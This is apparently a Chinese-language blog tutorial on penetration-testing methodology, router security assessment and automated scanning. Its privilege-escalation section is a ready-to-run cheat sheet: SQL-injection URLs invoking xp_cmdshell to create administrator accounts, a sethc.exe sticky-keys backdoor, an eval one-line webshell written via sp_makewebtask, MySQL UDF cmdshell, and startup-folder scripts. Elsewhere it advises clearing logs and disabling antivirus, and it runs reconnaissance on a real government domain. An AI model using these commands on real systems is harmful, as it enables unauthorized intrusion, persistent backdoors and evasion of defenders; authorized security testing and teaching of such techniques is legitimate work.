相关学习资料
http://www.cnblogs.com/LittleHann/p/3823513.html http://www.cnblogs.com/LittleHann/p/3828927.html http://www.searchsecurity.com.cn/showcontent_56011.htm https://www.owasp.org/index.php/File:OWASP_Testing_Guide_Presentation.zip information systems security assessment framework (issaf) OWASP(Open Web Application Security Project)Testing Guide OSSTMM(Open Source Security Testing Methodology Manual) Special Publication 800-115 Technical Guide to Information Security Testing and Assessment Penetration Testing Framework https://www.pcisecuritystandards.org/security_standards/index.php https://www.owasp.org/index.php/OWASP_Testing_Project www.isecom.org/osstmm/ http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf www.oissg.org/issaf www.vulnerabilityassessment.co.uk/Penetration%20Test.html http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx www.tenable.com/products/nessus www.qualys.com/products https://www.fortify.com/products/web_inspect.html http://cirt.net/nikto2 http://cve.mitre.org/ http://www.first.org/cvss/ http://net.zdnet.com.cn/network_security_zone/2012/1211/2135493.shtml http://win7sky.com/wx/20130121-514.html http://wenku.baidu.com/link?url=8y0NBHClvNvOde0Sli9CZxgeJw7RTvpF_ofBMM9EAuwycdaSE58whVDU1fYY159mvtirdCmJW5xQLJzU6ddQgDmAE5-U4UPqQS_LZXQNbRy http://software.cisco.com/download/navigator.html?i=rt http://files.cnblogs.com/LittleHann/RAT%28Router_Audit_Tool%29.rar RAT RSCG文档
目录
1. 渗透测试简介 2. 渗透测试的流程 3. ROUTER SECURITY ASSESSMENT: 路由安全测试 4. 如何进行自动化地漏洞测试、渗透测试
1. 渗透测试简介
渗透测试是通过模拟来自恶意的黑客或者骇客攻击,以评估计算机系统或者网络环境安全性的活动。从渗透测试的定义我们能够清楚的了解到渗透测试它是一项模拟的活动,主要的目的是进行安全性的评估,而不是摧毁或者破坏目标系统。
渗透测试与网络扫描,脆弱性扫描,安全扫描和安全审计其实并不相同。渗透测试是介于安全扫描和安全审计之间,它并不是纯粹的扫描工作,但是它执行的深度又没有安全审计那么深入。渗透测试是从攻击者的角度,试图通过各种技术手段或者社交手段去发现和挖掘系统的漏洞,最终达到获取系统最高权限的目的。无论是从测试的覆盖面和测试的深度来看,渗透测试都要比网络扫描,脆弱性扫描和安全扫描更为深入。
对于渗透测试而言,除了满足某些特定标准(如PCI DSS)的要求之外,渗透测试还会有如下的好处:
1. 识别和发现机构可能被攻击的薄弱环节 2. 通过外部独立的第三方评估机构的安全评估提高客户自身的安全级别和降低安全风险 3. 提高人员对于信息安全的意识
instead of treating a network like a list of vulnerabilities,an auditor should consider
1. application 2. people 3. process 4. trusts
the key to gaining access is to use what is available to bring you closer to the next goal
hacking is not about exploit,as many professional auditors know,only one or two real exploit may be used during the penetration test。the rest of time is spent on
1. obtaining passwords 2. abusing trust relationships 3. tricking authentication system 4. hijacking services to gain access to more system
2. 渗透测试的流程
渗透测试方法学分为3个阶段
Phase1. Planning and Preparation
计划和准备阶段主要完成:
1) 渗透测试人员构成 2) 渗透测试的开始时间以及持续时间 3) 测试协议、测试的业务范围、测试方法确定 渗透测试与恶意黑客的攻击最大的区别就是:恶意黑客为了获得想要的信息可以不计后果对目标系统进行攻击测试,而渗透测试人员的所执行的测试活动是需要在特定的测试协议下执行的。
因此在正式执行渗透测试之前,明确测试协议与测试方法是最重要的工作,测试协议与测试方法是后续测试人员开展渗透测试的参照标准。 4) 免责条款签署 在确定测试协议和方法之后,测试人员通常会要求客户出具一份渗透测试的免责声明,该声明中会明确声明测试人员不需要为测试过程中产生的任何风险承担法律责任。这份免责声明,对于
渗透测试人员而言是很好的法律保护,因为任何的测试活动都不可能百分之百安全,在某些测试过程(如对漏洞进行渗透和利用)当中难免会存在一些安全风险,如果没有此份声明测试人员迫于法
律的限制不可能完成后续的测试工作。
下图示展示了atsec结合了前文所提及的方法论和业界参考实践的经验总结
1. Basic of Information 在渗透测试中,根据客户提供信息的多少,我们可以人为的将渗透测试分为黑盒测试和白盒测试 1) 黑盒测试是客户尽可能少的给测试人员提供测试目标的信息,测试人员在不了解目标系统的情况下展开测试 2) 白盒测试是测试人员在完全了解系统的设计和架构或者网络配置的情况下对目标进行渗透,以确保所有安全问题都被发现了 2. aggressiveness 从测试人员测试活动的攻击性的角度评价,可以将渗透测试划分成四种情况: 1) 被动的测试活动 在此种情况下测试人员不会主动向目标系统发送攻击指令,测试人员通常会执行信息捕获的工作。 2) 谨慎的测试活动 在此种情况下测试人员通常会对目标系统执行嗅探工作并根据嗅探获得的漏洞进行分析和评估。 3) 审议的测试活动 在此种情况下测试人员通常会将发现的漏洞信息与客户进行讨论,以明确哪些漏洞在测试过程当中需要执行实际的漏洞验证和利用。 4) 具有侵略性的测试活动 在此种情况下测试人员通常会根据所发现的漏洞信息进行逐个验证,此时测试人员考虑更多的是如何最大限度获得目标系统的系统权限或者获得目标系统上存储的信息 4. scope 从测试范围的选择,客户可以指定 1) 整体网络环境的系统组件 2) 部分的网络环境的系统组件 3) 对于特定的重点目标系统进行测试 5. procedure method 对于测试人员在测试过程当中的活动,客户可以要求测试人员 1) 隐秘的执行渗透测试活动 2) 或者明确测试人员并不需要隐藏测试活动可以公开执行渗透测试工作 6. technique 在渗透测试活动中,客户可以要求测试人员对如下方面执行渗透测试工作 1) 对互联网络执行渗透(如互联网上的web服务器,数据库服务器,网络设备等等) 2) 对通讯执行渗透测试(如PSTN网络,电信网络,3G网络等方面) 3) 对物理安全执行渗透测试(如目标系统的物理防护,电磁辐射等方面) 4) 执行社会工程学测试(主要是为了测试员工的安全意识) 7. initial point 在测试方法设定的时候,客户还可以要求测试人员以: 1) 外网 2) 或者内网作为渗透测试活动的出发点
Phase2. Assessment
安全评估阶段由一些列的步骤组成,这些步骤从底层逐渐到高层,完成对信息系统的评估工作
1) Information Gathering(信息搜集) 当完成准备阶段的工作之后,测试人员通常会进入非常重要和关键的一个环节: 信息收集。包括: 1.1) 通过技术手段搜集信息: IP地址信息,关联域名信息,域名联系人信息,DNS服务器信息,邮件服务器信息,IP地址段路由信息,和目标系统相关的人员信息收集,目标系统漏洞信息 1.2) 通过社会工程学从相关人员口中套取有用的信息 信息收集是一门比较高深的学科,如果信息收集得很好,很多时候都不需要使用技术手段对系统漏洞进行渗透利用都能获得系统的权限。 2) Network Mapping(网络拓朴图) 利用上一步搜集到的目标系统的信息,渗透测试人员需要构建出一个目标系统和资源的网络拓朴图 2.1) Find live hosts(扫描存活主机) 2.2) Port and service scanning(开放端口和服务扫描) 2.3) Perimeter network mapping(确定网络拓朴中的边界,例如router, firewalls) 2.4) Identifying critical services(定位关键服务) 2.5) Operating System fingerprinting(主机操作系统指纹识别) 2.6) Identifying routes using Management Information Base(利用MIB获取路由器信息,即SNMP扫描) 2.7) Service fingerprinting(开放服务指纹扫描) 3) Vulnerability Identification(脆弱性确定、分析) 在"Vulnerability Identification"阶段,渗透测试人员主要需要完成下列工作 3.1) Identify vulnerable services using service banners 使用先验已知的服务指纹对目标系统的端口服务进行识别,例如SMB服务、FTP服务指纹的识别 3.2) vulnerability scan 对指定服务指纹进行风险扫描 3.3) Enumerate discovered vulnerabilities 枚举已发现的漏洞 3.4) Estimate probable impact 对现发现的漏洞进行风险评估 3.5) Identify attack paths and scenarios for exploitation 确定、编写已发现的漏洞的攻击向量、POC等 4) Penetration(对脆弱性进行渗透和利用) 渗透测试人员会尝试各种方法绕过目标系统的安全防御策略,尽可能的去获取到未授权的"访问权限"。这个过程通常包含以下步骤 4.1) Find proof of concept code/tool(POC) 如果这些POC、EXP来自于你之前已经充分测试或者本身就是自己编码写的脚本,则可以直接使用来"打"目标系统。如果这些POC来自于例如exploit-db、CVE等公开渠道,最好的做法是在
虚拟机里进行运行 4.2) Develop tools/scripts 对于一些特殊的绕过场景来说,由于完成一次攻击需要一些前提条件,因此攻击包的构建较复杂,这个时候就需要我们根据实际情况自己编写POC或者测试工具 4.3) Test proof of concept code/tool 使用POC、EXP去尽可能多的获取目标系统的未授权访问点。例如webshell、管理员密码 4.4) Verify or disprove the existence of vulnerabilities 确定漏洞是否存在 4.5) Document findings 这个文档应该包括已发现的攻击路径、漏洞证明(渗透结果)、漏洞影响范围 5) Gaining Access & Privilege Escalation(获取系统权限、权限提升) 5.1) Gaining Access 5.1.1) GAIN LEAST PRIVILEGE 获取低权限的访问权限的手段有很多,例如 5.1.1.1) 使用字典或者暴力穷举攻击获取网站的管理员弱口令 5.1.1.2) 利用WEB系统的默认配置漏洞(例如tomcat的后台deploy界面、或者路由器的默认密码)进行渗透 5.1.1.3) 利用已公布的WEB系统的漏洞POC、EXP进行渗透 5.1.2) COMPROMISE 在获取到了外围低权限的主机访问权之后,需要以此为跳板,逐渐通过DMZ、路由器、防火墙等设备,向我们的目标主机靠近,这是一个内网横向渗透过程 5.1.3) FINAL COMPROMISE ON TARGET 这个内网横向渗透的最后一步,渗透测试研究员在到达和目标主机同一个局域网或者VLAN后,就要开展对系统的渗透,目标是获取系统的管理员root权限 5.2) Privilege Escalation 在渗透测试中,我们往往获取到的是一个相对较低权限的访问点(例如webshell),我们需要以此为跳板,通过别的漏洞获取到更高的权限,即提权。 6) Enumerating Further 利用之前获取到的信息进行纵向提权 6.1) 通过破解windows下的SAM文件、或者linux下的/etc/passwd,/etc/shadow文件进一步获取管理员密码 6.2) 通过内网sniffer嗅探技术获取密码 6.3) 通过搜集cookie信息进行session攻击 6.4) 获取局域网内路由器、网关等信息 7) Compromise Remote Users/Sites 8) Maintaining Access 渗透测试人员为了方便对系统进行回访测试、或者为了节省测试期间的重入时间,往往在获得系统访问权限之后需要进行"后门维持",即保留一个长期性的后门。 8.1) Covert Channels(隐蔽通道) 隐蔽通达可以将我们的访问流量隐藏在"正常"的网络流量中 8.1.1) 协议隧道 8.1.1.1) icmp-tunnel 8.1.1.2) http-tunnel 8.1.2) VPN隧道 8.2) Backdoors(后门) 8.2.1) 监听制定端口的rootkit 8.2.2) 反向连接指定IP、端口的rootkit 8.2.3) webshell 8.2.4) IIS监听模块(DLL) 9) Covering Tracks 在渗透测试过程中,还需要注意隐藏攻击动作,避免触发目标系统的防御警报 9.1) Hide Files 对于提权exp、webshell这类敏感后门,好的做法是对它们进行隐藏,从而在一定程度上防止管理员的发现 9.2) Clear Logs 日志是IDS、IPS的判断依据,在渗透过程中对日志的修改和删除(包括对远程日至备份系统的操作)能帮助我们避免触发警报系统。 9.3) Defeat integrity checking 如果目标系统部署了Tripwire这样的完整性检查防御系统,则我们几乎不可能进行getshell。唯一的例外是用户的配置方法不当,即将签名文件和原始文件都放在同一个服务器上,则我们
可以进行"regeneration攻击" 9.4) Defeat Anti-virus 9.4.1) Disable the AV services(关闭杀软服务) 9.4.2) Block the central management port(关闭、阻断AV管理端口) 10) Audit(最终评估和报告编写以及客户根据渗透测试发现问题的整改和追踪等环节) 要注意的是,在"Assessment"阶段的这些步骤并不是说只要做一次就结束了,而是一个周期性的循环迭代过程,这也是安全工作的本质,在一定的可接受的时间周期内,安全工作和研究是一个 循环迭代的持续对抗过程。
Network Mapping
网络拓朴图的作用非常重要,它能让我们了解到我们的目标系统的各个主机之间在网络架构上的邻接关系,谁和谁之间是同一个局域网段、谁和谁之间有防火墙阻隔、谁和谁之间可以直接访问等等,这些从网络拓朴图(network mapping)上都可以一目了然地看出。
这里以www.fjcourt.gov.cn为例,我们来实验一下:
//获取目标域名的IP地址 nslookup www.fjcourt.gov.cn //根据目标IP地址进行whois查询 whois 27.151.119.217 result: inetnum: 27.148.0.0 - 27.151.255.255 netname: CHINANET-FJ descr: CHINANET FUJIAN PROVINCE NETWORK descr: China Telecom descr: No.31,jingrong street descr: Beijing 100032 country: CN admin-c: CA67-AP tech-c: CA67-AP status: ALLOCATED PORTABLE notify: [email protected] remarks: service provider remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ remarks: This object can only be updated by APNIC hostmasters. remarks: To update this object, please contact APNIC remarks: hostmasters and include your organisation's account remarks: name in the subject line. remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ changed: hm[email protected] 20100326 mnt-by: APNIC-HM mnt-lower: MAINT-CHINANET-FJ source: APNIC role: CHINANETFJ IP ADMIN address: 7,East Street,Fuzhou,Fujian,PRC country: CN phone: +86-591-83309761 fax-no: +86-591-83371954 e-mail: [email protected] remarks: send spam reports and abuse reports remarks: to [email protected] remarks: Please include detailed information and remarks: times in UTC admin-c: FH71-AP tech-c: FH71-AP nic-hdl: CA67-AP remarks: www.fjtelecom.com notify: [email protected] mnt-by: MAINT-CHINANET-FJ changed: [email protected] 20100108 source: APNIC changed: hm[email protected] 20111114 .... //我们可以从结果中看到IP范围为27.0.0.0 - 27.255.255.255,可以代表成一个CIDR: 27.0.0.0/8 //查询ASN号 whois -h whois.cymru.com 27.151.119.217 result: AS | IP | AS Name 4134 | 27.151.119.217 | CHINANET-BACKBONE No.31,Jin-rong Street,CN //查询目标域名所在管辖区域内所有IP地址 whois -h whois.ripe.net -i origin -T route AS4134 | grep -w "route:"| awk '{print $NF}' | sort -n /* 得到了IP列表之后,我们可以尝试使用tracet、或者http://centralops.net/ 来逐一对这些IP进行路由跳点跟踪。寻找这些跳点中的重合部分,如果有重合则说明可能对应的IP处于同一个
局域网(或者VLAN)中 */
关于AS自治域、BGP相关资料请参阅
http://www.cnblogs.com/LittleHann/p/3823513.html
Privilege Escalation
我们知道,拿到了一个较低权限的webshell之后,需要进行横向提权、纵向提权。
1. FTP提权 1) 我们可以通过serv-u提升权限,通过读取配置文件获取帐号和密码,然后通过ftp命令提权 quote site exec net.exe user LittleHann 111 /add 这个操作的前提是net.exe要有可执行权限,并且当前的serv-u开启了quote site exec命令执行权限X 2. 操作系统配置提权 1) 或者随系统自动启动的或管理员软件,寻找其中可写的关键文件(例如DLL文件),把它替换成我们自己的批处理或这远控木马,等目标习系统重启后就可以自动运行我们的程序,控制服务器 1. 得到一句话的shell之后,上传我们的远控木马 2. 上传mt.exe/aio.exe mt -enumsrv srv mt -querysrv ClipSrv mt -cfgsrv ClipSrv path=C:\wamp\www\server.exe starttype=auto mt -stopsrv ClipSrv mt -startsrv ClipSrv //或者 aio.exe -installservice "littlehann" server.exe aio.exe -startservice "littlehann" aio.exe -configservice "littlehann" auto aio.exe -pslist aio -configservice ClipSrv aio.exe -startservice WinQvod 2) systeminfo查看这个服务器上的一些基本信息和这个服务器上打上了哪类补丁,PR对应的补丁号:KB952004、巴西烤肉对应补丁号:KB956572 3) 通过注册表开启3389 4) 建立一个文本,文本内容输入 @echo off net user little 123456 /add net localgroup administrators little /add 然后改名字为add.bat 利用webshell把建立好的add.bat放到启动项里 C:\Documents and Settings\All Users\「开始」菜单\程序\启动\ 我们要把我们的启动脚本放到这个目录下,等系统重启时就会自动运行我们的批处理文件 5) 还可以利用注册表的自动启动项来进行启动时提权 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 只要把启动命令写进这两项中 'shell','REG_SZ','C:\WINDOWS\system32\cmd.exe /c net user little 123456 /add' 添加一个键值对,而添加的方法有cmd命令法和MSSQL脚本执行法等等 3. 配置文件提权 1) 查找conn和config,pass这类的文件看是否能得到sa或者mysql的相关密码,可能会有所收获。下载系统的 %windir%\repair\sam.*,然后用L0pht等软件进行破解。 2) 把远程服务器的配置文件复制到本地来,我们就可以对其进行本地操作,如添加用户等,在反覆盖回去。例如覆盖保存mysql保存用户账户的数据文件user.frm、user.MYD,并重启 4. webshell提权 1) 拿到webshell之后的提权,首先看一下这个服务器的wscript组件是否关闭,wscript组件是ASP用来执行cmd指令的组件,如果关闭了我们也可以自己传一个cmd上去,在aspx的shell下运行cmd命令。还要查看远程端口(3389)有没有被修改 2) 查看这个服务器支持啥脚本:asp、aspx、php、jsp等等,因为存在这种可能,网站是asp同时网站支持php解析 5. 内存dump获取密码 1) 抓取系统管理员的HASH密码 1.1) SAMinside 1.2) gsecdump 1.3) pwdump 6. 数据库提权 6.1 Sqlserver提权 首先,要利用MSSQL的脚本命令提权,前提是我们要能够以SA或者具有SA权限的用户的身份登录进去,可以使用弱口令猜解或者利用sql注入点来运行脚本命令,添加sa账户 1) 创建系统账户 HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net user little 432vjx%23f /add"-- HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net localgroup administrators little /add"-- 因为MSSQL的查询语句允许一条指令中包含两条的命令,所以可以利用这个sql注入漏洞来执行脚本命令 如果出现: SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 则必须先开启xp_cmdshell的组件: EXEC master..xp_cmdshell 'ipconfig' 开启xp_cmdshell: -- To allow advanced options to be changed. EXEC sp_configure 'show advanced options', 1 GO -- To update the currently configured value for advanced options. RECONFIGURE GO -- To enable the feature. EXEC sp_configure 'xp_cmdshell', 1 GO -- To update the currently configured value for this feature. RECONFIGURE GO 2) 创建数据库的登录账户(注意和系统的登录账户区分开来) exec master.dbo.sp_addlogin little,123456;-- go exec master.dbo.sp_addsrvrolemember little,sysadmin;-- go 3) 开启3389或者telnet 这里注意一下,telnet的服务名不是telnet,而是tlntsvr,我们要命令开启服务的时候要输入的是这个服务器名tlntsvr,而不是显示名telnet xp_servicecontrol 'start','tlntsvr' 远程桌面的服务名是:termservice xp_servicecontrol 'start','termservice' 4) 其他执行命令的方法 经常情况下,xp_cmdshell是被禁用或者降权了,这个时候,我们就要采取其他的方法来执行脚本命令从而开启3389或telnet服务等目的 4.1) sp_oacreate 创建用户 use master go declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c "net user little 123456 /add"' 开启服务 use master go declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c "net start tlntsvr"' cmd命令可以自己填写 如果出现: SQL Server 阻止了对组件 'Ole Automation Procedures' 的 过程'sys.sp_OACreate' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 可以尝试开启 Ole Automation Procedures 组件 sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Ole Automation Procedures', 1; GO RECONFIGURE; GO EXEC sp_configure 'Ole Automation Procedures'; GO 4.2) scripting.filesystemobject declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\sethc.exe'; declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 这样在3389的登入窗口处就等于布置下了一个后门,只要按5此shift键就能触发后门,而且,以这种方式登入的权限是NT系统权限,比administrator还大 4.3) Shell.Application declare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user little /add','c:\windows\system32','',1; 4.4) JOB 利用JOB执行命令,有一个先决条件就是开启SQLSERVERAGENT服务,下面的语句可以开启 exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' use msdb create table [jncsql](resulttxt nvarchar(1024) null) exec sp_delete_job null,'x' exec sp_add_job 'x' exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user little /add"' exec sp_add_jobserver null,'x',@@servername exec sp_start_job 'x'; 4.5) SandBoxMode(网上常说的沙盒模式) 原理:在access里调用VBS的shell函数,以system权限执行任何命令。但是试用这个函数之前必须把注册表里的一个叫SandBoxmode的开关打开 注册表: HKEY_LOCAL_MACHINE\SoFtWare\Micrisoft\Jet\4.0\Engine\SandBoxmode Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SoFtWare\Micrisoft\Jet\4.0\Engine\SandBoxmode' 默认值为2,这个人键值为0表示始 可以输入一下命令来执行命令 EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb' EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 EXEC master..xp_regread HKEY_LOCAL_MACHINE ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode' select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user little 123456 /add")') select * from openrowset('microsoft.jet.oledb.4.0', ';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators little /add")') 如果出现: SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ad Hoc Distributed Queries'。有关启用 'Ad Hoc Distributed Queries' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器" 尝试: 启用Ad Hoc Distributed Queries: exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure 使用完成后,关闭Ad Hoc Distributed Queries: exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure exec sp_configure 'show advanced options',0 reconfigure 4.6) 直接备份一句话木马; exec sp_makewebtask 'WEB绝对路径/fuck.asp',' select ''<%eval request("op")%>'' ';-- P.S.(WEB与DATA在同一主机,知道WEB目录) 例如: exec sp_makewebtask 'C:\Inetpub\wwwroot\fuck.asp',' select ''<%eval request("op")%>'' ';-- 如果出现了: SQL Server 阻止了对组件 'Web Assistant Procedures' 的 过程'sys.xp_makewebtask' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Web Assistant Procedures'。有关启用 'Web Assistant Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 可以尝试 sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Web Assistant Procedures', 1; GO RECONFIGURE GO 4.7) 操作注册表 除了xp_cmdshell外,还有一些其他的存储过程对攻击过程也是有帮助的。比如xp_regread可以操作注册表。 exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\services\LanmanServer\Parameters', 'Guid' xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite 4.7) 其他命令 xp_servicecontrol 允许用户启动、停止服务 exec master..xp_servicecontrol 'start', 'schedule' exec master..xp_availablemedia 显示机器上有用的驱动器 exec master..xp_dirtree 允许获得一个目录树 exec master..xp_enumdsn 列举服务器上的ODBC数据源 exec master..xp_loginconfig 获取服务器上的安全信息 exec master..xp_makecab 允许用户在服务器上创建一个压缩文件 exec master..xp_ntsec_enumdomains 列举服务器可以进入的域 exec master..xp_terminate_process 提供进程的进程ID,终止此进程 6.2 Mysql提权 mysql和MSSQL不一样,没有那种内置的存储过程可以用来创建用户和执行命令等,账户和权限信息都是保存在mysql/user表中,通过注入点的脚本命令不能创建账户提权。但是可以通过注入点攻击或者webshell获取到数据库的root权限,然后进行进一步提权 1) UDF提权 sqlmap的函数注入功能就是利用udf提权来获得一个交互式的cmd_shell的。我们用root权限的账户登入进mysql之后,将udf.dll上传至system32目录下,或windows目录下,如果是低版本的mysql可以传到任意目录下。 1. 最早的版本是可以任意路径的,即允许绝对路径 2. 小于mysql5.1版本必须 C:\\WINDOWS\\udf.dll 或 C:\\WINDOWS\\system32\\udf.dll 3. 等于mysql5.1版本 %mysql%\\plugin\\udf.dll 用 select @@plugin_dir 查询plugin路径 默认 C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll use mysql; create function cmdshell returns string soname 'udf.dll'; select cmdshell('net user little 123!@#abcABC /add'); select cmdshell('net localgroup administrators little /add'); select cmdshell('netstat -an'); drop function cmdshell; 如果遇到了: Can't open shared library 'udf.dll' (errno: 2 ) http://hi.baidu.com/sethc5/item/959c13ba884573e563388e7d http://www.360doc.com/content/13/0811/23/11029609_306499769.shtml 创建函数时所用的DLL只能放在mysql的lib/plugin目录里面。 use mysql; create function cmdshell returns string soname 'udf.dll'; select cmdshell('net user little 123!@#abcABC /add'); select cmdshell('net localgroup administrators little /add'); select cmdshell('netstat -an'); drop function cmdshell; 2) VBS启动项提权 先在webshell里连接上数据库,建立表,将VBS写入表里,然后导入启动项,如果UDF提权不行的话也可以尝试下这个方法,前提是要有ROOT权限,后面有个,0表示不弹出CMD窗口,安静的运行。 随便选一个数据库 use dvwa; create table a (cmd text); insert into a values ("set wshshell=createobject (""wscript.shell"") " ); insert into a values ("a=wshshell.run (""cmd.exe /c net user little 123!@#abcABC /add"",0) " ); insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators little /add"",0) " ); select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\\a.vbs";
Phase3. Reporting,Clean-up and Destroy Artefacts
1. REPORTING 1.1 VERBAL REPORTING(口头报告) 在渗透测试过程中,如果目标系统的关键业务检测出了漏洞,则应该立即向安全部门报告。 1.2 FINAL REPORTING 1) Management Summary 2) Scope of the project (and Out of Scope parts) 3) Tools that have been used (including exploits) 4) Dates & times of the actual tests on the systems 5) Every single output of tests performed (excluding vulnerability scan reports which can be included as attachments) 6) A list of all identified vulnerabilities with included recommendations on how to solve the issues found. 7) A list of Action points (what recommendation to perform first, what is the recommended solution) 1.3 CLEAN UP AND DESTROY ARTIFACTS 在结束渗透测试之后,应该清理在渗透过程中遗留在目标系统上的"所有垃圾文件"
3. ROUTER SECURITY ASSESSMENT: 路由安全测试
奔流不息的网络里,Web绽放着绚丽的色彩、电子邮件呼哧的穿梭网际、语音电话、网络会议、文件传输,各种数据交织错落,形成辉煌的数字世界。在喧闹的数字世界底层,存在一种精致的次序,这种次序决定着数据的选路、异构介质衔接、协议的交互等功能。而这一次序的缔造者正是布满整个网络的路由器。于是,路由器成了数据通信的交通亭,也成为了众多黑帽(Blackhat)争夺的目标之一
0x1: 路由安全问题
路由器作为一个硬件和软件的结合体,它所面临的安全风险也更加复杂
1. Information gathering about Router 攻击者可以从Internet或者产品手册中得到关于目标路由器的详细参数信息以及数据报协议信息,这些有可能导致黑客针对路由器发起0DAY攻击 2. Password cracking 针对路由器的密码破解包括: 1) HTTP WEB界面的LOGIN密码破解 2) AP的密码破解(WEP、WPA、WPA2) 3. HTTP access insecurities 当前很多路由器都开启了WEB管理界面,方便管理员对路由器进行配置,但同时这个WEB界面也为攻击者提供了一个获得路由器权限的"攻击面"。 一个好的做法是设置MAC白名单,只允许指定MAC的内网机器进行WEB访问 4. SNMP insecurities SNMP常常在"边界安全问题"的讨论中被提到。通过SNMP WALK,攻击者能够获取到当前局域网的大量信息,从而为下一步横向渗透提供基础。 一个好的做法是修改路由器SNMP的默认"团队标识码public",改为"高强度密码" 5. VTY/TTY access insecurities 6. TFTP insecurities 7. Console port insecurities 8. Miss-configurations 路由器(Cisco路由器)、或者具有路由功能的linux服务器的错误配置导致的安全漏洞风险 9. Product specific vulnerabilities 特定的路由器型号(例如TPLINK)、或者路由器厂商存在的路由器漏洞以及路由器后门 10. 路由器协议缺陷 路由通信协议的缺陷导致路由器可能被黑客利用作为跳板进行攻击企业内网 11. A compromise on routing device compromises entire network traffic 路由器作为企业机构网络中的基础节点设施,一旦受到黑客的攻击和控制,将导致整个网络的流量污染
0x2: 路由安全审计需要注意的问题
1. 了解企业、组织机构的网络环境 1) 了解路由器在网络架构中的位置(包括逻辑区域位置、以及物理布线位置) 2) 了解路由器在内网中是怎样对流量进行引导、重定向、分流的 3) 了解通过每个路由节点的数据流量、数据类型等 2. 需要了解的技术点 1) 各种型号路由器的基本知识 2) 路由协议的基本原理,以及协议中存在的漏洞
0x3: 怎样开展路由器安全测试
0x4: 路由器安全测试工具
对于路由器的配置安全测试,有很多自动化工具可以使用:
1. RAT(route audit tools) RAT是系统管理网络安全研究机构(SANS)开发的免费路由审核工具。这套工具能自动和立即的检索路由配置的情况,并针对配置的问题给出极其详尽的漏洞发现和推荐修改配置,并能寻址SNMP的
漏洞给予安全建议。这种安全的配置文档对于管理员和黑帽来说,都是非常珍贵的资料 2. Solarwinds Solarwinds公司出品Solarwinds.net的全面产品中包容了针对许多管理监测Cisco设备的精美工具,良好的GUI、容易操作的截面、还有Perfect的Toolbar http://www.solarwinds.cn/
4. 如何进行自动化地漏洞测试、渗透测试
进行自动化的漏洞测试,我们首先要明确我们的目标
1. 针对系统软件的、提权的漏洞进行测试 1) BASH漏洞 2) NTP放大漏洞 3) HeartBleed心脏滴血漏洞 4) Linux、windows提权漏洞 2. 针对操作系统的底层、核心DLL、内核漏洞进行漏洞测试 1) MS08-067 ..
0x1: Nessus For Linux
1. 简介
Nessus是一款很强大的扫描工具,基于C/S架构
